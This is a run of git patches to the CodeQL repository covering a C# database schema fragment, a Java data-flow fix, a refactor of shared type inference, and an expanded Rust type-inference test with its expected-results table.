@call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties new file mode 100644 index 00000000000..1989c9c8847 --- /dev/null +++ b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties @@ -0,0 +1,2 @@ +description: Add `interpolated_string_insert_expr` kind. +compatibility: partial From dc0ca1ac18a5f71ee6dd6ed937f86c2167cf8f8e Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 24 Mar 2025 13:31:23 +0100 Subject: [PATCH 061/282] Java: Fix TC magic in SystemProperty. --- .../code/java/environment/SystemProperty.qll | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/java/ql/lib/semmle/code/java/environment/SystemProperty.qll b/java/ql/lib/semmle/code/java/environment/SystemProperty.qll index 63ded626c11..bee91d7c6b7 100644 --- a/java/ql/lib/semmle/code/java/environment/SystemProperty.qll +++ b/java/ql/lib/semmle/code/java/environment/SystemProperty.qll @@ -269,18 +269,24 @@ private MethodCall getSystemPropertyFromSpringProperties(string propertyName) { * for final variables. */ private predicate localExprFlowPlusInitializers(Expr e1, Expr e2) { + e1 = e2 or localFlowPlusInitializers(DataFlow::exprNode(e1), DataFlow::exprNode(e2)) } +private predicate localFlowPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) = + fastTC(localFlowStepPlusInitializers/2)(pred, succ) + /** - * Holds if data can flow from `pred` to `succ` in zero or more - * local (intra-procedural) steps or via instance or static variable intializers + * Holds if data can flow from `pred` to `succ` in a + * local (intra-procedural) step or via instance or static variable intializers * for final variables. */ -private predicate localFlowPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) { - exists(Variable v | v.isFinal() and pred.asExpr() = v.getInitializer() | - DataFlow::localFlow(DataFlow::exprNode(v.getAnAccess()), succ) +private predicate localFlowStepPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) { + exists(Variable v | + v.isFinal() and + pred.asExpr() = v.getInitializer() and + succ.asExpr() = v.getAnAccess() ) or - DataFlow::localFlow(pred, succ) + DataFlow::localFlowStep(pred, succ) } From ba9edf8d257b6f7034031f65d3412b1cdc4a28fd Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 24 Mar 2025 13:55:00 +0100 Subject: [PATCH 062/282] Shared: Refactor type inference --- .../typeinference/internal/TypeInference.qll | 127 +++++------------- 1 file changed, 34 insertions(+), 93 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index dac4aee7324..3f2c529ad4f 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -268,10 +268,8 @@ module Make1 Input1> { private module BaseTypes { /** * Holds if `baseMention` is a (transitive) base type mention of `sub`, - * and type parameter `tp` (belonging to `sub`) is mentioned (implicitly) - * at `path` inside the type that `baseMention` resolves to. - * - * For example, in + * and `t` is mentioned (implicitly) at `path` inside `baseMention`. For + * example, in * * ```csharp * class C { } @@ -283,88 +281,21 @@ module Make1 Input1> { * class Sub : Mid> { } // Sub extends Base> * ``` * - * - `T3` is mentioned at `0.0` for immediate base type mention `Base>` + * - ``C`1`` is mentioned at `T2` for immediate base type mention `Base>` * of `Mid`, - * - `T4` is mentioned at `0.0` for immediate base type mention `Mid>` + * - `T3` is mentioned at `T2.T1` for immediate base type mention `Base>` + * of `Mid`, + * - ``C`1`` is mentioned at `T3` for immediate base type mention `Mid>` * of `Sub`, and - * - `T4` is mentioned implicitly at `0.0.0` for transitive base type mention + * - `T4` is mentioned at `T3.T1` for immediate base type mention `Mid>` + * of `Sub`, and + * - ``C`1`` is mentioned at `T2` and implicitly at `T2.T1` for transitive base type + * mention `Base>` of `Sub`. + * - `T4` is mentioned implicitly at `T2.T1.T1` for transitive base type mention * `Base>` of `Sub`. */ pragma[nomagic] - predicate baseTypeMentionHasTypeParameterAt( - Type sub, TypeMention baseMention, TypePath path, TypeParameter tp - ) { - exists(TypeMention immediateBaseMention, TypePath pathToTypeParam | - tp = sub.getATypeParameter() and - immediateBaseMention = getABaseTypeMention(sub) and - tp = immediateBaseMention.resolveTypeAt(pathToTypeParam) - | - // immediate base class - baseMention = immediateBaseMention and - path = pathToTypeParam - or - // transitive base class - exists(Type immediateBase, TypePath prefix, TypePath suffix, TypeParameter mid | - /* - * Example: - * - * - `prefix = "0.0"`, - * - `pathToTypeParam = "0.0"`, - * - `suffix = "0"`, - * - `path = "0.0.0"` - * - * ```csharp - * class C { } - * - * class Base { } - * - * class Mid : Base> { } - * // ^^^ `immediateBase` - * // ^^ `mid` - * // ^^^^^^^^^^^ `baseMention` - * - * class Sub : Mid> { } - * // ^^^ `sub` - * // ^^ `tp` - * // ^^^^^^^^^^ `immediateBaseMention` - * ``` - */ - - immediateBase = resolveTypeMentionRoot(immediateBaseMention) and - baseTypeMentionHasTypeParameterAt(immediateBase, baseMention, prefix, mid) and - pathToTypeParam.isCons(mid, suffix) and - path = prefix.append(suffix) - ) - ) - } - - /** - * Holds if `baseMention` is a (transitive) base type mention of `sub`, - * and `t`, which is not a type parameter of `sub`, is mentioned - * (implicitly) at `path` inside `baseMention`. For example, in - * - * ```csharp - * class C { } - * - * class Base { } - * - * class Mid : Base> { } - * - * class Sub : Mid> { } // Sub extends Base> - * ``` - * - * - ``C`1`` is mentioned at `0` for immediate base type mention `Base>` - * of `Mid`, - * - ``C`1`` is mentioned at `0` for immediate base type mention `Mid>` - * of `Sub`, and - * - ``C`1`` is mentioned at `0` and implicitly at `0.0` for transitive base type - * mention `Base>` of `Sub`. - */ - pragma[nomagic] - predicate baseTypeMentionHasNonTypeParameterAt( - Type sub, TypeMention baseMention, TypePath path, Type t - ) { - not t = sub.getATypeParameter() and + predicate baseTypeMentionHasTypeAt(Type sub, TypeMention baseMention, TypePath path, Type t) { exists(TypeMention immediateBaseMention | pragma[only_bind_into](immediateBaseMention) = getABaseTypeMention(pragma[only_bind_into](sub)) @@ -375,16 +306,17 @@ module Make1 Input1> { or // transitive base class exists(Type immediateBase | immediateBase = resolveTypeMentionRoot(immediateBaseMention) | - baseTypeMentionHasNonTypeParameterAt(immediateBase, baseMention, path, t) + not t = immediateBase.getATypeParameter() and + baseTypeMentionHasTypeAt(immediateBase, baseMention, path, t) or exists(TypePath path0, TypePath prefix, TypePath suffix, TypeParameter tp | /* * Example: * - * - `prefix = "0.0"`, - * - `path0 = "0"`, + * - `prefix = "T2.T1"`, + * - `path0 = "T3"`, * - `suffix = ""`, - * - `path = "0.0"` + * - `path = "T2.T1"` * * ```csharp * class C { } @@ -403,7 +335,8 @@ module Make1 Input1> { * ``` */ - baseTypeMentionHasTypeParameterAt(immediateBase, baseMention, prefix, tp) and + baseTypeMentionHasTypeAt(immediateBase, baseMention, prefix, tp) and + tp = immediateBase.getATypeParameter() and t = immediateBaseMention.resolveTypeAt(path0) and path0.isCons(tp, suffix) and path = prefix.append(suffix) @@ -578,22 +511,27 @@ module Make1 Input1> { } private module AccessBaseType { - private predicate relevantAccess(Access a, AccessPosition apos) { - exists(Declaration target | + /** + * Holds if inferring types at `a` might depend on the type at `apos` + * having `baseMention` as a transitive base type mention. + */ + private predicate relevantAccess(Access a, AccessPosition apos, Type base) { + exists(Declaration target, DeclarationPosition dpos | adjustedAccessType(a, apos, target, _, _) and - target.getDeclaredType(_, _) instanceof TypeParameter + accessDeclarationPositionMatch(apos, dpos) and + declarationBaseType(target, dpos, base, _, _) ) } pragma[nomagic] private Type inferRootType(Access a, AccessPosition apos) { - relevantAccess(a, apos) and + relevantAccess(a, apos, _) and result = a.getInferredType(apos, TypePath::nil()) } pragma[nomagic] private Type inferTypeAt(Access a, AccessPosition apos, TypeParameter tp, TypePath suffix) { - relevantAccess(a, apos) and + relevantAccess(a, apos, _) and exists(TypePath path0 | result = a.getInferredType(apos, path0) and path0.isCons(tp, suffix) @@ -634,11 +572,14 @@ module Make1 Input1> { predicate hasBaseTypeMention( Access a, AccessPosition apos, TypeMention baseMention, TypePath path, Type t ) { + relevantAccess(a, apos, resolveTypeMentionRoot(baseMention)) and exists(Type sub | sub = inferRootType(a, apos) | - baseTypeMentionHasNonTypeParameterAt(sub, baseMention, path, t) + not t = sub.getATypeParameter() and + baseTypeMentionHasTypeAt(sub, baseMention, path, t) or exists(TypePath prefix, TypePath suffix, TypeParameter tp | - baseTypeMentionHasTypeParameterAt(sub, baseMention, prefix, tp) and + tp = sub.getATypeParameter() and + baseTypeMentionHasTypeAt(sub, baseMention, prefix, tp) and t = inferTypeAt(a, apos, tp, suffix) and path = prefix.append(suffix) ) From 831413b5ecf0584793ea89d2b34e6fdc14c70500 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 25 Mar 2025 08:41:05 +0100 Subject: [PATCH 063/282] Rust: Expand on type parameter bounds type inference test --- .../test/library-tests/type-inference/main.rs | 24 +- .../type-inference/type-inference.expected | 1419 +++++++++-------- 2 files changed, 749 insertions(+), 694 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index b4aecc9e1a2..3a33687c95f 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -275,10 +275,16 @@ mod function_trait_bounds { } } + // Type parameter with bound occurs in the root of a parameter type. fn call_trait_m1>(x: T2) -> T1 { x.m1() } + // Type parameter with bound occurs nested within another type. + fn call_trait_thing_m1>(x: MyThing) -> T1 { + x.a.m1() + } + impl MyTrait for MyThing { fn m1(self) -> T { self.a @@ -298,11 +304,21 @@ mod function_trait_bounds { println!("{:?}", x.m2()); println!("{:?}", y.m2()); - let x = MyThing { a: S1 }; - let y = MyThing { a: S2 }; + let x2 = MyThing { a: S1 }; + let y2 = MyThing { a: S2 }; - println!("{:?}", call_trait_m1(x)); // missing - println!("{:?}", call_trait_m1(y)); // missing + println!("{:?}", call_trait_m1(x2)); // missing + println!("{:?}", call_trait_m1(y2)); // missing + + let x3 = MyThing { + a: MyThing { a: S1 }, + }; + let y3 = MyThing { + a: MyThing { a: S2 }, + }; + + println!("{:?}", call_trait_thing_m1(x3)); // missing + println!("{:?}", call_trait_thing_m1(y3)); // missing } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index b43a0ca8f8e..3e48ad0cdb5 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -328,679 +328,716 @@ inferType | main.rs:274:13:274:16 | self | | main.rs:267:5:276:5 | trait MyTrait | | main.rs:274:13:274:16 | self | A | main.rs:267:19:267:19 | A | | main.rs:274:13:274:21 | self.m1(...) | | main.rs:267:19:267:19 | A | -| main.rs:278:43:278:43 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:278:43:278:43 | x | | main.rs:278:26:278:40 | T2 | -| main.rs:278:43:278:43 | x | A | main.rs:278:22:278:23 | T1 | -| main.rs:278:56:280:5 | { ... } | | main.rs:278:22:278:23 | T1 | -| main.rs:279:9:279:9 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:279:9:279:9 | x | | main.rs:278:26:278:40 | T2 | -| main.rs:279:9:279:9 | x | A | main.rs:278:22:278:23 | T1 | -| main.rs:279:9:279:14 | x.m1(...) | | main.rs:278:22:278:23 | T1 | -| main.rs:283:15:283:18 | SelfParam | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:283:15:283:18 | SelfParam | T | main.rs:282:10:282:10 | T | -| main.rs:283:26:285:9 | { ... } | | main.rs:282:10:282:10 | T | -| main.rs:284:13:284:16 | self | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:284:13:284:16 | self | T | main.rs:282:10:282:10 | T | -| main.rs:284:13:284:18 | self.a | | main.rs:282:10:282:10 | T | -| main.rs:289:13:289:13 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:289:13:289:13 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:289:17:289:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:289:17:289:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:289:30:289:31 | S1 | | main.rs:262:5:263:14 | struct S1 | -| main.rs:290:13:290:13 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:290:13:290:13 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:290:17:290:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:290:17:290:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:290:30:290:31 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:292:26:292:26 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:292:26:292:26 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:292:26:292:31 | x.m1(...) | | main.rs:262:5:263:14 | struct S1 | -| main.rs:293:26:293:26 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:293:26:293:26 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:293:26:293:31 | y.m1(...) | | main.rs:264:5:265:14 | struct S2 | +| main.rs:279:43:279:43 | x | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:279:43:279:43 | x | | main.rs:279:26:279:40 | T2 | +| main.rs:279:43:279:43 | x | A | main.rs:279:22:279:23 | T1 | +| main.rs:279:56:281:5 | { ... } | | main.rs:279:22:279:23 | T1 | +| main.rs:280:9:280:9 | x | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:280:9:280:9 | x | | main.rs:279:26:279:40 | T2 | +| main.rs:280:9:280:9 | x | A | main.rs:279:22:279:23 | T1 | +| main.rs:280:9:280:14 | x.m1(...) | | main.rs:279:22:279:23 | T1 | +| main.rs:284:49:284:49 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:284:49:284:49 | x | T | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:284:49:284:49 | x | T | main.rs:284:32:284:46 | T2 | +| main.rs:284:49:284:49 | x | T.A | main.rs:284:28:284:29 | T1 | +| main.rs:284:71:286:5 | { ... } | | main.rs:284:28:284:29 | T1 | +| main.rs:285:9:285:9 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:285:9:285:9 | x | T | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:285:9:285:9 | x | T | main.rs:284:32:284:46 | T2 | +| main.rs:285:9:285:9 | x | T.A | main.rs:284:28:284:29 | T1 | +| main.rs:285:9:285:11 | x.a | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:285:9:285:11 | x.a | | main.rs:284:32:284:46 | T2 | +| main.rs:285:9:285:11 | x.a | A | main.rs:284:28:284:29 | T1 | +| main.rs:285:9:285:16 | ... .m1(...) | | main.rs:284:28:284:29 | T1 | +| main.rs:289:15:289:18 | SelfParam | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:289:15:289:18 | SelfParam | T | main.rs:288:10:288:10 | T | +| main.rs:289:26:291:9 | { ... } | | main.rs:288:10:288:10 | T | +| main.rs:290:13:290:16 | self | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:290:13:290:16 | self | T | main.rs:288:10:288:10 | T | +| main.rs:290:13:290:18 | self.a | | main.rs:288:10:288:10 | T | | main.rs:295:13:295:13 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:295:13:295:13 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:295:13:295:13 | x | A | main.rs:262:5:263:14 | struct S1 | | main.rs:295:13:295:13 | x | T | main.rs:262:5:263:14 | struct S1 | | main.rs:295:17:295:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:295:17:295:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:295:17:295:33 | MyThing {...} | A | main.rs:262:5:263:14 | struct S1 | | main.rs:295:17:295:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | | main.rs:295:30:295:31 | S1 | | main.rs:262:5:263:14 | struct S1 | | main.rs:296:13:296:13 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:296:13:296:13 | y | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:296:13:296:13 | y | A | main.rs:264:5:265:14 | struct S2 | | main.rs:296:13:296:13 | y | T | main.rs:264:5:265:14 | struct S2 | | main.rs:296:17:296:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:296:17:296:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:296:17:296:33 | MyThing {...} | A | main.rs:264:5:265:14 | struct S2 | | main.rs:296:17:296:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | | main.rs:296:30:296:31 | S2 | | main.rs:264:5:265:14 | struct S2 | | main.rs:298:26:298:26 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:298:26:298:26 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:298:26:298:26 | x | A | main.rs:262:5:263:14 | struct S1 | | main.rs:298:26:298:26 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:298:26:298:31 | x.m2(...) | | main.rs:262:5:263:14 | struct S1 | +| main.rs:298:26:298:31 | x.m1(...) | | main.rs:262:5:263:14 | struct S1 | | main.rs:299:26:299:26 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:299:26:299:26 | y | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:299:26:299:26 | y | A | main.rs:264:5:265:14 | struct S2 | | main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:299:26:299:31 | y.m2(...) | | main.rs:264:5:265:14 | struct S2 | +| main.rs:299:26:299:31 | y.m1(...) | | main.rs:264:5:265:14 | struct S2 | | main.rs:301:13:301:13 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:301:13:301:13 | x | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:301:13:301:13 | x | A | main.rs:262:5:263:14 | struct S1 | | main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | struct S1 | | main.rs:301:17:301:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:301:17:301:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:301:17:301:33 | MyThing {...} | A | main.rs:262:5:263:14 | struct S1 | | main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | | main.rs:301:30:301:31 | S1 | | main.rs:262:5:263:14 | struct S1 | | main.rs:302:13:302:13 | y | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:302:13:302:13 | y | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:302:13:302:13 | y | A | main.rs:264:5:265:14 | struct S2 | | main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | struct S2 | | main.rs:302:17:302:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:302:17:302:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:302:17:302:33 | MyThing {...} | A | main.rs:264:5:265:14 | struct S2 | | main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | | main.rs:302:30:302:31 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:304:40:304:40 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:304:40:304:40 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:305:40:305:40 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:305:40:305:40 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:313:15:313:18 | SelfParam | | main.rs:310:5:322:5 | trait MyTrait | -| main.rs:315:15:315:18 | SelfParam | | main.rs:310:5:322:5 | trait MyTrait | -| main.rs:330:15:330:18 | SelfParam | | main.rs:324:5:325:13 | struct S | -| main.rs:330:45:332:9 | { ... } | | main.rs:324:5:325:13 | struct S | -| main.rs:331:13:331:13 | S | | main.rs:324:5:325:13 | struct S | -| main.rs:336:13:336:13 | x | | main.rs:324:5:325:13 | struct S | -| main.rs:336:17:336:17 | S | | main.rs:324:5:325:13 | struct S | -| main.rs:337:26:337:26 | x | | main.rs:324:5:325:13 | struct S | -| main.rs:337:26:337:31 | x.m1(...) | | main.rs:324:5:325:13 | struct S | -| main.rs:339:13:339:13 | x | | main.rs:310:5:322:5 | trait MyTrait | -| main.rs:339:13:339:13 | x | | main.rs:324:5:325:13 | struct S | -| main.rs:339:17:339:17 | S | | main.rs:310:5:322:5 | trait MyTrait | -| main.rs:339:17:339:17 | S | | main.rs:324:5:325:13 | struct S | -| main.rs:340:26:340:26 | x | | main.rs:310:5:322:5 | trait MyTrait | -| main.rs:340:26:340:26 | x | | main.rs:324:5:325:13 | struct S | -| main.rs:357:15:357:18 | SelfParam | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:357:15:357:18 | SelfParam | A | main.rs:356:10:356:10 | T | -| main.rs:357:26:362:9 | { ... } | | main.rs:356:10:356:10 | T | -| main.rs:358:13:361:13 | match self { ... } | | main.rs:356:10:356:10 | T | -| main.rs:358:19:358:22 | self | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:358:19:358:22 | self | A | main.rs:356:10:356:10 | T | -| main.rs:359:28:359:28 | a | | main.rs:356:10:356:10 | T | -| main.rs:359:34:359:34 | a | | main.rs:356:10:356:10 | T | -| main.rs:360:30:360:30 | a | | main.rs:356:10:356:10 | T | -| main.rs:360:37:360:37 | a | | main.rs:356:10:356:10 | T | -| main.rs:366:13:366:13 | x | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:366:13:366:13 | x | A | main.rs:351:5:352:14 | struct S1 | -| main.rs:366:17:366:30 | ...::C1(...) | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:366:17:366:30 | ...::C1(...) | A | main.rs:351:5:352:14 | struct S1 | -| main.rs:366:28:366:29 | S1 | | main.rs:351:5:352:14 | struct S1 | -| main.rs:367:13:367:13 | y | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:367:13:367:13 | y | A | main.rs:353:5:354:14 | struct S2 | -| main.rs:367:17:367:36 | ...::C2 {...} | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:367:17:367:36 | ...::C2 {...} | A | main.rs:353:5:354:14 | struct S2 | -| main.rs:367:33:367:34 | S2 | | main.rs:353:5:354:14 | struct S2 | -| main.rs:369:26:369:26 | x | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:369:26:369:26 | x | A | main.rs:351:5:352:14 | struct S1 | -| main.rs:369:26:369:31 | x.m1(...) | | main.rs:351:5:352:14 | struct S1 | -| main.rs:370:26:370:26 | y | | main.rs:345:5:349:5 | enum MyEnum | -| main.rs:370:26:370:26 | y | A | main.rs:353:5:354:14 | struct S2 | -| main.rs:370:26:370:31 | y.m1(...) | | main.rs:353:5:354:14 | struct S2 | -| main.rs:391:15:391:18 | SelfParam | | main.rs:390:5:392:5 | trait MyTrait1 | -| main.rs:391:15:391:18 | SelfParam | Tr1 | main.rs:390:20:390:22 | Tr1 | -| main.rs:395:15:395:18 | SelfParam | | main.rs:390:5:392:5 | trait MyTrait1 | -| main.rs:395:15:395:18 | SelfParam | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:395:15:395:18 | SelfParam | Tr1 | main.rs:394:20:394:22 | Tr2 | -| main.rs:395:15:395:18 | SelfParam | Tr2 | main.rs:394:20:394:22 | Tr2 | -| main.rs:398:9:404:9 | { ... } | | main.rs:394:20:394:22 | Tr2 | -| main.rs:399:13:403:13 | if ... {...} else {...} | | main.rs:394:20:394:22 | Tr2 | -| main.rs:399:26:401:13 | { ... } | | main.rs:394:20:394:22 | Tr2 | -| main.rs:400:17:400:20 | self | | main.rs:390:5:392:5 | trait MyTrait1 | -| main.rs:400:17:400:20 | self | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:400:17:400:20 | self | Tr1 | main.rs:394:20:394:22 | Tr2 | -| main.rs:400:17:400:20 | self | Tr2 | main.rs:394:20:394:22 | Tr2 | -| main.rs:400:17:400:25 | self.m1(...) | | main.rs:394:20:394:22 | Tr2 | -| main.rs:401:20:403:13 | { ... } | | main.rs:394:20:394:22 | Tr2 | -| main.rs:402:17:402:30 | ...::m1(...) | | main.rs:394:20:394:22 | Tr2 | -| main.rs:402:26:402:29 | self | | main.rs:390:5:392:5 | trait MyTrait1 | -| main.rs:402:26:402:29 | self | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:402:26:402:29 | self | Tr1 | main.rs:394:20:394:22 | Tr2 | -| main.rs:402:26:402:29 | self | Tr2 | main.rs:394:20:394:22 | Tr2 | -| main.rs:408:15:408:18 | SelfParam | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:408:15:408:18 | SelfParam | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:408:15:408:18 | SelfParam | 